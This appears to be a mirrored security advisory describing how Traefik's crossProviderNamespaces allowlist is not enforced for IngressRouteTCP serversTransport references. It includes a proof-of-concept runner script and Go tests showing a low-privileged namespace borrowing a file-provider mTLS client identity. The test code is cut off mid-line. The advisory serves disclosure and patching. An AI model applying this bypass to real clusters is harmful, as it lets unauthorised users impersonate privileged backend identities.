Go · github.com/traefik/traefik/v3
Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass
There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The crossProviderNamespaces allowlist is enforced for HTTP serversTransport references but was not enforced for IngressRouteTCP service serversTransport references. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces could set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the crossProviderNamespaces allowlist to TCP serversTransport references.
If you have any questions or comments about this advisory, please open an issue.
Traefik's Kubernetes CRD provider enforces crossProviderNamespaces for several
cross-provider references, but IngressRouteTCP service
serversTransport references skip that allowlist. A low-privileged Kubernetes
user in a namespace that is not listed in crossProviderNamespaces can still
set serversTransport: foo@file on an IngressRouteTCP service. Traefik
accepts the forbidden cross-provider reference and later uses the referenced
TCPServersTransport, including privileged backend mTLS client certificates,
SPIFFE identity, or PROXY protocol settings.
crossProviderNamespaces is documented and implemented as an allowlist for
namespaces that may declare cross-provider references from Kubernetes CRD
objects. HTTP serversTransport references enforce that allowlist. TCP
serversTransport references do not.
An attacker with low Kubernetes privileges in namespace default can create an
IngressRouteTCP service with:
serversTransport: foo@file
Even when the provider is configured with:
crossProviderNamespaces:
- operator-only
Traefik still emits a TCP dynamic service whose load balancer points to
foo@file. At runtime, DialerManager.Build() uses the exact referenced
transport name and applies that transport's TLS client certificates and related
backend-connection settings.
The PoC demonstrates two positive facts:
crossProviderNamespaces can cause Traefik to accept and
store LoadBalancer.ServersTransport = "foo@file" from an
IngressRouteTCP service.foo@file TCPServersTransport with a client certificate is
actually consumed by the TCP dialer and presented to an mTLS backend.This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference.
run.sh: portable runner.poc_crd_test.go: positive CRD provider proof.with_servers_transport_cross_provider_poc.yml: minimal
IngressRouteTCP fixture.poc_tcp_mtls_test.go: positive runtime mTLS identity-use proof.#!/usr/bin/env sh
set -eu
TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}"
if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi
echo "[*] target_ref=$TARGET_REF"
echo "[*] workdir=$WORKDIR"
if [ -n "${TRAEFIK_SRC:-}" ]; then
echo "[*] cloning from local source: $TRAEFIK_SRC"
git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
cd "$WORKDIR/traefik"
git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
echo "[*] cloning from remote: $REPO_URL"
git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
cd "$WORKDIR/traefik"
fi
mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp
cp "$SCRIPT_DIR/poc_crd_test.go" \
pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go
cp "$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml" \
pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml
cp "$SCRIPT_DIR/poc_tcp_mtls_test.go" \
pkg/tcp/dialer_cross_provider_identity_poc_test.go
echo "[*] running CRD provider policy-bypass PoC"
go test ./pkg/provider/kubernetes/crd \
-run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass$' \
-count=1 -v
echo "[*] running TCPServersTransport mTLS identity-use PoC"
go test ./pkg/tcp \
-run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$' \
-count=1 -v
echo "POC_RESULT=PASS"
package crd
import (
"testing"
"github.com/stretchr/testify/require"
traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake"
kubefake "k8s.io/client-go/kubernetes/fake"
)
func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) {
k8sObjects, crdObjects := readResources(t, []string{
"tcp/services.yml",
"tcp/with_servers_transport_cross_provider_poc.yml",
})
kubeClient := kubefake.NewClientset(k8sObjects...)
crdClient := traefikcrdfake.NewClientset(crdObjects...)
client := newClientImpl(kubeClient, crdClient)
stopCh := make(chan struct{})
defer close(stopCh)
eventCh, err := client.WatchAll(nil, stopCh)
require.NoError(t, err)
<-eventCh
provider := Provider{
AllowCrossNamespace: true,
CrossProviderNamespaces: []string{"operator-only"},
}
conf := provider.loadConfigurationFromCRD(t.Context(), client)
service := conf.TCP.Services["default-test.route-fdd3e9338e47a45efefc"]
require.NotNil(t, service)
require.NotNil(t, service.LoadBalancer)
require.Equal(t, "foo@file", service.LoadBalancer.ServersTransport)
require.NotEmpty(t, service.LoadBalancer.Servers)
require.True(t, service.LoadBalancer.Servers[0].TLS)
t.Logf("POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=%v serversTransport=%q backend_tls=%v",
provider.CrossProviderNamespaces,
service.LoadBalancer.ServersTransport,
service.LoadBalancer.Servers[0].TLS)
}
package tcp
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"fmt"
"io"
"math/big"
"net"
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/traefik/traefik/v3/pkg/config/dynamic"
traefiktls "github.com/traefik/traefik/v3/pkg/tls"
"github.com/traefik/traefik/v3/pkg/types"
)
func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) {
pki := newPoCPKI(t)
dialerManager := NewDialerManager(nil)
dialerManager.Update(map[string]*dynamic.TCPServersTransport{
"foo@file": {
TLS: &dynamic.TLSClientConfig{
ServerName: "example.com",
RootCAs: []types.FileOrContent{types.FileOrContent(pki.caCertPEM)},
Certificates: traefiktls.Certificates{
traefiktls.Certificate{
CertFile: types.FileOrContent(pki.clientCertPEM),
KeyFile: types.FileOrContent(pki.clientKeyPEM),
},
},
},
},
})
backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki)
defer closeBackend()
dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true)
require.NoError(t, err)
conn, err := dialer.Dial("tcp", backendAddr, nil)
require.NoError(t, err)
defer conn.Close()
_, err = conn.Write([]byte("ping"))
require.NoError(t, err)
buf := make([]byte, 4)
_, err = io.ReadFull(conn, buf)
require.NoError(t, err)
re
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.